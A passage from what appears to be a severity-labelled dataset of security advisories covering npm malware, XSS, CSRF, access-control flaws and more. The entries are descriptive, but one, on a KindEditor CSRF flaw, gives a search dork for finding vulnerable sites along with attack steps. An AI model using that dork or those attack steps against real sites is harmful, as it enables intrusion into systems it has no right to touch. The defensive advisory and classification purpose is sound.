In order to achieve this, you should either check master request path info, if it does not contain `/admin` prefix or adjust event triggered during customer update in the shop. You can find more information on how to customize the event here.\n\n### Acknowledgements\n\nThis security issue has been reported by Mircea Silviu (@decemvre), thanks a lot!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@sylius.com](mailto:security@sylius.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-19", "split": "train"}
-{"id": "200c4fb4644dc05e57b4", "text": "Missing Authentication for Critical Function in Saleor\n\nAn issue was discovered in Mirumee Saleor 2.x before 2.9.1. Incorrect access control in the checkoutCustomerAttach mutations allows attackers to attach their checkouts to any user ID and consequently leak user data (e.g., name, address, and previous orders of any other customer).", "text_raw": "Missing Authentication for Critical Function in Saleor\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Mirumee Saleor 2.x before 2.9.1. Incorrect access control in the checkoutCustomerAttach mutations allows attackers to attach their checkouts to any user ID and consequently leak user data (e.g., name, address, and previous orders of any other customer).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "588c38e1e98600429648", "text": "Improper Removal of Sensitive Information Before Storage or Transfer in Apache Jackrabbit Oak\n\nThe optional initial password change and password expiration features present in Apache Jackrabbit Oak 1.2.0 to 1.22.0 are prone to a sensitive information disclosure vulnerability. The code mandates the changed password to be passed as an additional attribute to the credentials object but does not remove it upon processing during the first phase of the authentication. In combination with additional, independent authentication mechanisms, this may lead to the new password being disclosed.", "text_raw": "Improper Removal of Sensitive Information Before Storage or Transfer in Apache Jackrabbit Oak\n\n[Severity: HIGH]\n\nThe optional initial password change and password expiration features present in Apache Jackrabbit Oak 1.2.0 to 1.22.0 are prone to a sensitive information disclosure vulnerability. The code mandates the changed password to be passed as an additional attribute to the credentials object but does not remove it upon processing during the first phase of the authentication. In combination with additional, independent authentication mechanisms, this may lead to the new password being disclosed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "29d7e0ed0b06e22f7dcb", "text": "Malicious Package in harmlesspackage\n\nVersion 0.0.1 of `harmlesspackage` contains malicious code as a postinstall script. The package printed a message to the console and performed a GET request to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There is no evidence of further compromise.", "text_raw": "Malicious Package in harmlesspackage\n\n[Severity: CRITICAL]\n\nVersion 0.0.1 of `harmlesspackage` contains malicious code as a postinstall script. The package printed a message to the console and performed a GET request to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There is no evidence of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6c33b0fdad46f92742cc", "text": "Invalid handling of `X509_verify_cert()` internal errors in libssl\n\nInternally libssl in OpenSSL calls X509_verify_cert() on the client side to verify a certificate supplied by a server. That function may return a negative return value to indicate an internal error (for example out of memory). Such a negative return value is mishandled by OpenSSL and will cause an IO function (such as SSL_connect() or SSL_do_handshake()) to not indicate success and a subsequent call to SSL_get_error() to return the value SSL_ERROR_WANT_RETRY_VERIFY. This return value is only supposed to be returned by OpenSSL if the application has previously called SSL_CTX_set_cert_verify_callback(). Since most applications do not do this the SSL_ERROR_WANT_RETRY_VERIFY return value from SSL_get_error() will be totally unexpected and applications may not behave correctly as a result. The exact behaviour will depend on the application but it could result in crashes, infinite loops or other similar incorrect responses. This issue is made more serious in combination with a separate bug in OpenSSL 3.0 that will cause X509_verify_cert() to indicate an internal error when processing a certificate chain. This will occur where a certificate does not include the Subject Alternative Name extension but where a Certificate Authority has enforced name constraints. This issue can occur even with valid chains. By combining the two issues an attacker could induce incorrect, application dependent behaviour. Fixed in OpenSSL 3.0.1 (Affected 3.0.0).", "text_raw": "Invalid handling of `X509_verify_cert()` internal errors in libssl\n\n[Severity: HIGH]\n\nInternally libssl in OpenSSL calls X509_verify_cert() on the client side to verify a certificate supplied by a server. That function may return a negative return value to indicate an internal error (for example out of memory). Such a negative return value is mishandled by OpenSSL and will cause an IO function (such as SSL_connect() or SSL_do_handshake()) to not indicate success and a subsequent call to SSL_get_error() to return the value SSL_ERROR_WANT_RETRY_VERIFY. This return value is only supposed to be returned by OpenSSL if the application has previously called SSL_CTX_set_cert_verify_callback(). Since most applications do not do this the SSL_ERROR_WANT_RETRY_VERIFY return value from SSL_get_error() will be totally unexpected and applications may not behave correctly as a result. The exact behaviour will depend on the application but it could result in crashes, infinite loops or other similar incorrect responses. This issue is made more serious in combination with a separate bug in OpenSSL 3.0 that will cause X509_verify_cert() to indicate an internal error when processing a certificate chain. This will occur where a certificate does not include the Subject Alternative Name extension but where a Certificate Authority has enforced name constraints. This issue can occur even with valid chains. By combining the two issues an attacker could induce incorrect, application dependent behaviour. Fixed in OpenSSL 3.0.1 (Affected 3.0.0).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-15", "split": "train"}
-{"id": "9b458a46d489903a6905", "text": "Denial of service or RCE from libxml2 and libxslt\n\nNokogiri is affected by series of vulnerabilities in libxml2 and libxslt, which are libraries Nokogiri depends on. It was discovered that libxml2 and libxslt incorrectly handled certain malformed documents, which can allow malicious users to cause issues ranging from denial of service to remote code execution attacks.", "text_raw": "Denial of service or RCE from libxml2 and libxslt\n\n[Severity: HIGH]\n\nNokogiri is affected by series of vulnerabilities in libxml2 and libxslt, which are libraries Nokogiri depends on. It was discovered that libxml2 and libxslt incorrectly handled certain malformed documents, which can allow malicious users to cause issues ranging from denial of service to remote code execution attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "dadbabf46d68efa34a9a", "text": "Unintended Require in larvitbase-www\n\nAll versions of `larvitbase-www` are vulnerable to an Unintended Require. The package exposes an API endpoint and passes a GET parameter unsanitized to an `require()` call. This allows attackers to execute any `.js` file in the same folder as the server is running.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Unintended Require in larvitbase-www\n\n[Severity: MEDIUM]\n\nAll versions of `larvitbase-www` are vulnerable to an Unintended Require. The package exposes an API endpoint and passes a GET parameter unsanitized to an `require()` call. This allows attackers to execute any `.js` file in the same folder as the server is running.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "749239c1b32a766b8e64", "text": "MA Lighting Technology grandMA onPC v6.808 Remote Denial of Service Exploit", "text_raw": "MA Lighting Technology grandMA onPC v6.808 Remote Denial of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-04-03", "split": "train"}
-{"id": "729dd74e5d947a956f2c", "text": "apk-parser2 downloads Resources over HTTP\n\nAffected versions of `apk-parser2` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `apk-parser2`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "apk-parser2 downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `apk-parser2` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `apk-parser2`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "59b78c4fd5eed822da0b", "text": "Dolibarr Cross-site Scripting vulnerability\n\nIn `Dolibarr ERP CRM`, WYSIWYG Editor module, v2.8.1 to v13.0.2 are affected by a stored XSS vulnerability that allows low privileged application users to store malicious scripts in the `Private Note` field at `/adherents/note.php?id=1` endpoint. These scripts are executed in a victim’s browser when they open the page containing the vulnerable field. In the worst case, the victim who inadvertently triggers the attack is a highly privileged administrator. The injected scripts can extract the Session ID, which can lead to full Account takeover of the admin and due to other vulnerability (Improper Access Control on Private notes) a low privileged user can update the private notes which could lead to privilege escalation.", "text_raw": "Dolibarr Cross-site Scripting vulnerability\n\n[Severity: CRITICAL]\n\nIn `Dolibarr ERP CRM`, WYSIWYG Editor module, v2.8.1 to v13.0.2 are affected by a stored XSS vulnerability that allows low privileged application users to store malicious scripts in the `Private Note` field at `/adherents/note.php?id=1` endpoint. These scripts are executed in a victim’s browser when they open the page containing the vulnerable field. In the worst case, the victim who inadvertently triggers the attack is a highly privileged administrator. The injected scripts can extract the Session ID, which can lead to full Account takeover of the admin and due to other vulnerability (Improper Access Control on Private notes) a low privileged user can update the private notes which could lead to privilege escalation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "e4825f43d90d8a956f81", "text": "Malicious Package in requet\n\nAll versions of `requet` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requet\n\n[Severity: CRITICAL]\n\nAll versions of `requet` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "74e3dd76731d42958565", "text": "Druid ingestion system Authenticated users can read data from other sources than intended\n\nIn the Druid ingestion system, the InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.", "text_raw": "Druid ingestion system Authenticated users can read data from other sources than intended \n\n[Severity: MEDIUM]\n\nIn the Druid ingestion system, the InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-27", "split": "train"}
-{"id": "38a00444f247a2a684d5", "text": "nodeffmpeg is malware\n\nThe `nodeffmpeg` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodeffmpeg is malware\n\n[Severity: HIGH]\n\nThe `nodeffmpeg` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "784ee5f15815f5e0e2f7", "text": "ecdsa Denial of Service vulnerability in signature verification and signature malleability\n\n## possible DoS in signature verification and signature malleability\n\n### Impact\nCode using `VerifyingKey.verify()` and `VerifyingKey.verify_digest()` may receive exceptions other than the documented `BadSignatureError` when signatures are malformed. If those other exceptions are not caught, they may lead to program termination and thus Denial of Service\n\nCode using `VerifyingKey.verify()` and `VerifyingKey.verify_digest()` with `sigdecode` option using `ecdsa.util.sigdecode_der` will accept signatures even if they are not properly formatted DER. This makes the signatures malleable. It impacts only applications that later sign the signatures or verify signatures of signatures, e.g. Bitcoin.\n\nAll versions between 0.5 and 0.13.2 (inclusive) are thought to be vulnerable. Code before 0.5 may be vulnerable but didn't receive extended analysis to rule this issue out.\n\n### Patches\nThe patches have been merged to `master` branch in https://github.com/warner/python-ecdsa/pull/115.\nThe backported patches for a release in the 0.13 branch are in https://github.com/warner/python-ecdsa/pull/124\n\nThey are part of the 0.13.3 release.\n\nThere are no plans to backport them to earlier releases.\n\n### Workarounds\nIt may be possible to prevent the Denial of Service by catching also `UnexpectedDER`, `IndexError` and `AssertionError` exceptions. That list hasn't been verified to be complete though. If those exceptions are raised, the signature verification process should consider the signature to be invalid.\n\nTo remediate signature malleability and the Denial of Service vulnerability, it may be possible to first verify that the signature is properly DER formatted ECDSA-Sig-Value, as defined in [RFC3279](https://tools.ietf.org/html/rfc3279), before passing it to `verify()` or `verify_digest()` methods. If the signature is determined to not follow the DER or encode a different structure, the signature verification process should consider the signature to be invalid.\n\n### References\nhttps://en.bitcoinwiki.org/wiki/Transaction_Malleability\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in [python-ecdsa](https://github.com/warner/python-ecdsa/issues) project.", "text_raw": "ecdsa Denial of Service vulnerability in signature verification and signature malleability\n\n[Severity: HIGH]\n\n## possible DoS in signature verification and signature malleability \n\n### Impact\nCode using `VerifyingKey.verify()` and `VerifyingKey.verify_digest()` may receive exceptions other than the documented `BadSignatureError` when signatures are malformed. If those other exceptions are not caught, they may lead to program termination and thus Denial of Service\n\nCode using `VerifyingKey.verify()` and `VerifyingKey.verify_digest()` with `sigdecode` option using `ecdsa.util.sigdecode_der` will accept signatures even if they are not properly formatted DER. This makes the signatures malleable. It impacts only applications that later sign the signatures or verify signatures of signatures, e.g. Bitcoin.\n\nAll versions between 0.5 and 0.13.2 (inclusive) are thought to be vulnerable. Code before 0.5 may be vulnerable but didn't receive extended analysis to rule this issue out.\n\n### Patches\nThe patches have been merged to `master` branch in https://github.com/warner/python-ecdsa/pull/115.\nThe backported patches for a release in the 0.13 branch are in https://github.com/warner/python-ecdsa/pull/124\n\nThey are part of the 0.13.3 release.\n\nThere are no plans to backport them to earlier releases.\n\n### Workarounds\nIt may be possible to prevent the Denial of Service by catching also `UnexpectedDER`, `IndexError` and `AssertionError` exceptions. That list hasn't been verified to be complete though. If those exceptions are raised, the signature verification process should consider the signature to be invalid.\n\nTo remediate signature malleability and the Denial of Service vulnerability, it may be possible to first verify that the signature is properly DER formatted ECDSA-Sig-Value, as defined in [RFC3279](https://tools.ietf.org/html/rfc3279), before passing it to `verify()` or `verify_digest()` methods. If the signature is determined to not follow the DER or encode a different structure, the signature verification process should consider the signature to be invalid.\n\n### References\nhttps://en.bitcoinwiki.org/wiki/Transaction_Malleability\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in [python-ecdsa](https://github.com/warner/python-ecdsa/issues) project.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-08", "split": "train"}
-{"id": "37b4bb999cf56a0610f8", "text": "SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution", "text_raw": "SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-02-07", "split": "train"}
-{"id": "ec1891cf3d1100b4ac81", "text": "Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information", "text_raw": "Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-07-10", "split": "train"}
-{"id": "260ee442252548804428", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Doorkeeper\n\n### Impact\nInformation disclosure vulnerability. Allows an attacker to see all `Doorkeeper::Application` model attribute values (including secrets) using authorized applications controller if it's enabled (GET /oauth/authorized_applications.json).\n\n### Patches\n\nThese versions have the fix:\n\n* 5.0.3\n* 5.1.1\n* 5.2.5\n* 5.3.2\n\n### Workarounds\nPatch `Doorkeeper::Application` model `#as_json(options = {})` method and define only those attributes you want to expose.\n\nAdditional recommended hardening is to enable application secrets hashing ([guide](https://doorkeeper.gitbook.io/guides/security/token-and-application-secrets)), available since Doorkeeper 5.1. This would render the exposed secret useless.\n\n### References\n\n- Commit with fix: https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10187", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Doorkeeper\n\n[Severity: HIGH]\n\n### Impact\nInformation disclosure vulnerability. Allows an attacker to see all `Doorkeeper::Application` model attribute values (including secrets) using authorized applications controller if it's enabled (GET /oauth/authorized_applications.json).\n\n### Patches\n\nThese versions have the fix:\n\n* 5.0.3\n* 5.1.1\n* 5.2.5\n* 5.3.2\n\n### Workarounds\nPatch `Doorkeeper::Application` model `#as_json(options = {})` method and define only those attributes you want to expose.\n\nAdditional recommended hardening is to enable application secrets hashing ([guide](https://doorkeeper.gitbook.io/guides/security/token-and-application-secrets)), available since Doorkeeper 5.1. This would render the exposed secret useless.\n\n### References\n\n- Commit with fix: https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10187", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-07", "split": "train"}
-{"id": "5088d1d507aa78e73b47", "text": "Prototype Pollution in node-oojs\n\nAll versions of package node-oojs up to and including version 1.4.0 are vulnerable to Prototype Pollution via the setPath function.", "text_raw": "Prototype Pollution in node-oojs\n\n[Severity: CRITICAL]\n\nAll versions of package node-oojs up to and including version 1.4.0 are vulnerable to Prototype Pollution via the setPath function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "ceb6ccfb1002484c9b0b", "text": "RubyGems Escape sequence injection vulnerability in gem owner\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. The gem owner command outputs the contents of the API response directly to stdout. Therefore, if the response is crafted, escape sequence injection may occur.", "text_raw": "RubyGems Escape sequence injection vulnerability in gem owner\n\n[Severity: HIGH]\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. The gem owner command outputs the contents of the API response directly to stdout. Therefore, if the response is crafted, escape sequence injection may occur.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "b226edec31787b899c8b", "text": "Cross-site scripting in lazysizes\n\nlazysizes through 5.2.0 allows execution of malicious JavaScript. The following attributes are not sanitized by the video-embed plugin: `data-vimeo`, `data-vimeoparams`, `data-youtube` and `data-ytparams` which can be abused to inject malicious JavaScript.", "text_raw": "Cross-site scripting in lazysizes\n\n[Severity: MEDIUM]\n\nlazysizes through 5.2.0 allows execution of malicious JavaScript. The following attributes are not sanitized by the video-embed plugin: `data-vimeo`, `data-vimeoparams`, `data-youtube` and `data-ytparams` which can be abused to inject malicious JavaScript.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "5a16a02472de8f8972ae", "text": "Downloads Resources over HTTP in geoip-lite-country\n\nAffected versions of `geoip-lite-country` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nUpdate to version 1.1.4 or later.", "text_raw": "Downloads Resources over HTTP in geoip-lite-country\n\n[Severity: HIGH]\n\nAffected versions of `geoip-lite-country` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nUpdate to version 1.1.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f906f1876669ace36864", "text": "Out-of-bounds read in nokogiri\n\nlibxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a heap-based buffer over-read in the xmlDictAddString function in dict.c. This vulnerability causes programs that use libxml2, such as PHP, to crash. This vulnerability exists because of an incomplete fix for CVE-2016-1839.  GitHub is notifying on nokogiri as uses libxml2.", "text_raw": "Out-of-bounds read in nokogiri\n\n[Severity: HIGH]\n\nlibxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a heap-based buffer over-read in the xmlDictAddString function in dict.c. This vulnerability causes programs that use libxml2, such as PHP, to crash. This vulnerability exists because of an incomplete fix for CVE-2016-1839.  GitHub is notifying on nokogiri as uses libxml2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-12-13", "split": "train"}
-{"id": "e8ffb1af3f730e12e91d", "text": "Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability", "text_raw": "Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "40b87f74e9bd26ba1ee8", "text": "Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability", "text_raw": "Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-01-30", "split": "train"}
-{"id": "71e9ac8c35bd7f100622", "text": "NUUO Multiple OS Command Injection Vulnerabilities", "text_raw": "NUUO Multiple OS Command Injection Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "90e4a5d23da5bc67c782", "text": "Malicious Package in bs-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bs-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "796469505ce71e762727", "text": "Cross Site Request Forgery in kindeditor\n\nCross Site Request Forgery (CSRF) vulnerability exists in KindEditor 4.1.x. First, you upload an html file containing csrf on the website that uses a google editor, (you only need to search in google: inurl:/examples/uploadbutton.html) and then use the authority of this website to trick users into clicking your malicious html link.", "text_raw": "Cross Site Request Forgery in kindeditor\n\n[Severity: HIGH]\n\nCross Site Request Forgery (CSRF) vulnerability exists in KindEditor 4.1.x. First, you upload an html file containing csrf on the website that uses a google editor, (you only need to search in google: inurl:/examples/uploadbutton.html) and then use the authority of this website to trick users into clicking your malicious html link.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-18", "split": "train"}
-{"id": "e591c3face80abb990d4", "text": "Microsoft Office Remote Code Execution Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office Remote Code Execution Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "54db8f3f840ea4c67960", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "06b03e2d4c22ee26057b", "text": "Command Injection in macfromip\n\nAll versions of npm package macfromip are affected by a command injection vulnerability. The injection point is located in line 66 in macfromip.js.", "text_raw": "Command Injection in macfromip\n\n[Severity: CRITICAL]\n\nAll versions of npm package macfromip are affected by a command injection vulnerability. The injection point is located in line 66 in macfromip.js.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-12", "split": "train"}
-{"id": "5945667b0f05f9082e62", "text": "Predictable password in Keycloak\n\nA flaw was found in all versions of the Keycloak operator, before version 8.0.2,(community only) where the operator generates a random admin password when installing Keycloak, however the password remains the same when deployed to the same OpenShift namespace.", "text_raw": "Predictable password in Keycloak\n\n[Severity: CRITICAL]\n\nA flaw was found in all versions of the Keycloak operator, before version 8.0.2,(community only) where the operator generates a random admin password when installing Keycloak, however the password remains the same when deployed to the same OpenShift namespace.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-15", "split": "train"}
-{"id": "ad6d5a1b5af9ae33b27e", "text": "Moped Rubygem Data Injection Vulnerability\n\n`The Moped::BSON::ObjecId.legal?` method in rubygem-moped before [commit dd5a7c14b5d2e466f7875d079af71ad19774609b](https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24) allows remote attackers to cause a denial of service (worker resource consumption) or perform a cross-site scripting (XSS) attack via a crafted string.", "text_raw": "Moped Rubygem Data Injection Vulnerability\n\n[Severity: HIGH]\n\n`The Moped::BSON::ObjecId.legal?` method in rubygem-moped before [commit dd5a7c14b5d2e466f7875d079af71ad19774609b](https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24) allows remote attackers to cause a denial of service (worker resource consumption) or perform a cross-site scripting (XSS) attack via a crafted string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "074bed82a80a2630b9a1", "text": "Hard-Coded Key Used For Remember-me Token in Opencast\n\n### Impact\n\nThe security configuration in `etc/security/mh_default_org.xml` enables a remember-me cookie based on a hash created from the [username, password, and an additional system key](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/remember-me.html). Opencast has hard-coded this system key in the large XML file and never mentions to change this, basically ensuring that all systems use the same key:\n\n```xml\n<sec:remember-me key=\"opencast\" user-service-ref=\"userDetailsService\" />\n```\n\nThis means that an attacker getting access to a remember-me token for one server can get access to all servers which allow log-in using the same credentials without ever needing the credentials. For example, a remember-me token obtained from develop.opencast.org can be used on stable.opencast.org without actually knowing the log-in credentials.\n\nSuch an attack will usually not work on different installations – assuming that safe, unique passwords are used – but it is basically guaranteed to work to get access to all machines of one cluster if a token from one machine is compromised.\n\n### Patches\n\nThis problem is fixed in Opencast 7.6 and Opencast 8.1\n\n### Workarounds\n\nWe strongly recommend updating to the patched version. Still, as a workaround for older versions, in `etc/security/mh_default_org.xml`, set a custom key for each server:\n\n```xml\n<sec:remember-me key=\"CUSTOM_RANDOM_KEY\" user-service-ref=\"userDetailsService\" />\n```\n\n### References\n\n- [Relevant lines in the security configuration](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)\n- [Spring Security Remember-Me Authentication Documentation](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/remember-me.html#remember-me-hash-token)\n\n### For more information\nIf you have any questions or comments about this advisory:\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at [security@opencast.org](mailto:security@opencast.org)\n\n### Thanks\nThanks to @LukasKalbertodt for reporting the issue.", "text_raw": "Hard-Coded Key Used For Remember-me Token in Opencast\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe security configuration in `etc/security/mh_default_org.xml` enables a remember-me cookie based on a hash created from the [username, password, and an additional system key](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/remember-me.html). Opencast has hard-coded this system key in the large XML file and never mentions to change this, basically ensuring that all systems use the same key:\n\n```xml\n<sec:remember-me key=\"opencast\" user-service-ref=\"userDetailsService\" />\n```\n\nThis means that an attacker getting access to a remember-me token for one server can get access to all servers which allow log-in using the same credentials without ever needing the credentials. For example, a remember-me token obtained from develop.opencast.org can be used on stable.opencast.org without actually knowing the log-in credentials.\n\nSuch an attack will usually not work on 